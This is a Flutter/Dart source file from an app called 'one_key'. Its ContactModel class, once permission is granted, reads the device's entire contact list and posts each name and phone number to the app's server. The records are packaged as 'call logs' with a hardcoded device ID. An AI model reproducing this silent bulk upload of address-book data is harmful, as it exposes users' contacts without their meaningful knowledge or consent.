|
|
|
import 'dart:convert';
|
|
|
|
import 'dart:io';
|
|
|
|
|
|
|
|
import 'package:contacts_service/contacts_service.dart';
|
|
|
|
import 'package:dio/dio.dart';
|
|
|
|
import 'package:flutter/cupertino.dart';
|
|
|
|
import 'package:one_key/constant/constant.dart';
|
|
|
|
import 'package:one_key/net/base_resp.dart';
|
|
|
|
import 'package:one_key/net/dio_util.dart';
|
|
|
|
import 'package:one_key/net/http_url.dart';
|
|
|
|
import 'package:one_key/utils/log_util.dart';
|
|
|
|
import 'package:one_key/utils/misc.dart';
|
|
|
|
|
|
|
|
/**
|
|
|
|
* 上传联系人
|
|
|
|
*/
|
|
|
|
class ContactModel{
|
|
|
|
|
|
|
|
ContactModel._();
|
|
|
|
|
|
|
|
static ContactModel _instance;
|
|
|
|
|
|
|
|
static ContactModel getInstance(){
|
|
|
|
if(_instance==null){
|
|
|
|
_instance=ContactModel._();
|
|
|
|
}
|
|
|
|
return _instance;
|
|
|
|
}
|
|
|
|
|
|
|
|
uploadLocalContact(BuildContext context) async {
|
|
|
|
bool authority=await requestContactPermission();
|
|
|
|
if(authority){
|
|
|
|
Iterable<Contact> contacts=await ContactsService.getContacts(withThumbnails: false);
|
|
|
|
List<Map<String,String>> callLogs=[];
|
|
|
|
LogUtil.v("length:${contacts.length}");
|
|
|
|
|
|
|
|
contacts.forEach((contact){
|
|
|
|
String phoneNum="";
|
|
|
|
if(contact.phones.isNotEmpty){
|
|
|
|
phoneNum=contact.phones.first.value.trim();
|
|
|
|
}
|
|
|
|
Map<String,String> callLog={
|
|
|
|
"phoneNum":"$phoneNum",
|
|
|
|
"sid":"154",
|
|
|
|
"deviceId":"dhgajkhdgahghsdghdkgahd",
|
|
|
|
"phoneDate":"${DateTime.now().millisecondsSinceEpoch}",
|
|
|
|
"callType":"2",
|
|
|
|
"callUser":"${contact.displayName}"
|
|
|
|
};
|
|
|
|
callLogs.add(callLog);
|
|
|
|
});
|
|
|
|
Map<String,String> params={
|
|
|
|
"data":jsonEncode(callLogs)
|
|
|
|
};
|
|
|
|
BaseResp<String> baseResp = await DioUtil()
|
|
|
|
.request<String>(context, Method.get, HttpUrl.upload_contact,
|
|
|
|
data: params,options: Options(method: Method.post,contentType: ContentType.parse("application/x-www-form-urlencoded")))
|
|
|
|
.catchError((error) {
|
|
|
|
print(error.toString());
|
|
|
|
});
|
|
|
|
if(baseResp!=null&&baseResp.code == Constant.status_success){
|
|
|
|
LogUtil.v("联系人上传成功:${contacts.length}条");
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
} |
|
|
\ No newline at end of file |
...
|
...
|
|